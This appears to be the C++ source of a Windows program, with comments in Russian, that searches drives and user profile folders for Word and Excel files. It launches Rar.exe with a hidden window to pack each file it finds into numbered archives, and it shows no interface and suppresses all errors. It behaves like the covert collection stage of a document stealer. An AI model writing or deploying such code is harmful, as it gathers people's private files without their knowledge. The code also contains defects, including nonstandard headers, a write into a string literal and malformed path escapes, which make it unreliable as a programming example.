/*
* Programmer: Meshin D. (aka Demon)
* 18.07.2009
*/
#include <stdlib>
#include <string>
#include <windows>
#include <shellapi>
typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName);
int arch_count = 0;
void Archive(LPCTSTR lpszFileName)
{
arch_count++;
char *opens = " \"", *closes = "\" ", *start = "a -or -y rsvdf\\";
char *to = "";
std::string s(start);
s.append(itoa(arch_count, to, 10));
s.append(".rsdf");
s.append(opens);
s.append(lpszFileName);
s.append(closes);
//MessageBoxA(NULL, s.c_str(), "to_file", MB_OK);
/*STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&pi, 0, sizeof(pi));
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
int res = CreateProcess(
NULL,
(LPTSTR)s.c_str(),
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
&si,
&pi
);
if (res)
{
WaitForSingleObject(pi.hThread, INFINITE);
SetFocus(NULL);
} */
SHELLEXECUTEINFO si;
memset(&si, 0, sizeof(si));
si.cbSize = sizeof(si);
si.hwnd = NULL;
si.lpVerb = "open";
si.lpFile = "Rar.exe";
si.lpParameters = s.c_str();
si.nShow = SW_HIDE;
si.fMask = SEE_MASK_NOCLOSEPROCESS;
bool res = ShellExecuteEx(&si);
if (res)
WaitForSingleObject(si.hProcess, INFINITE );
//WinExec(s.c_str(), SW_HIDE);
}
BOOL SearchFiles(LPCTSTR lpszFileName, LPSEARCHFUNC lpSearchFunc, BOOL bInnerFolders = TRUE)
{
LPTSTR part;
char tmp[MAX_PATH]; // временный массив
char name[MAX_PATH];
HANDLE hSearch = NULL;
WIN32_FIND_DATA wfd;
memset(&wfd, 0, sizeof(WIN32_FIND_DATA));
// сначало поиск внутри вложенных папках ...
if(bInnerFolders)
{
if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE;
strcpy(name, part);
strcpy(part, "*.*");
// если папки существуют, то делаем поиск
wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY;
if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE))
do
{
// в каждой папке есть две папки с именами "." и ".."
// и эти папки мы не трогаем
// пропускаем папки "." и ".."
if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2))
continue;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) // если мы нашли папку
{
char next[MAX_PATH];
if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE;
strcpy(part, wfd.cFileName);
strcat(next, "\\");
strcat(next, name);
Sleep(5);
SearchFiles(next, lpSearchFunc, TRUE);
}
}
while (FindNextFile(hSearch, &wfd)); // ищем следующий файл
FindClose (hSearch); // заканчиваем поиск
}
if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE)
return TRUE; // в противном случае выходим
do
if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) // если мы нашли файл
{
char file[MAX_PATH];
if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE;
strcpy(part, wfd.cFileName);
lpSearchFunc(file);
}
while (FindNextFile(hSearch, &wfd)); // ищем следующий файл
FindClose (hSearch); // заканчиваем поиск
return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
try
{
SearchFiles("d:\\*.doc", Archive, TRUE);
}
catch(...){}
try
{
SearchFiles("d:\\*.xls", Archive, TRUE);
}
catch(...){}
try
{
SearchFiles("c:\\Documents and Settings\*.doc", Archive, TRUE);
}
catch(...){}
try
{
SearchFiles("c:\\Documents and Settings\*.xls", Archive, TRUE);
}
catch(...){}
return 0;
}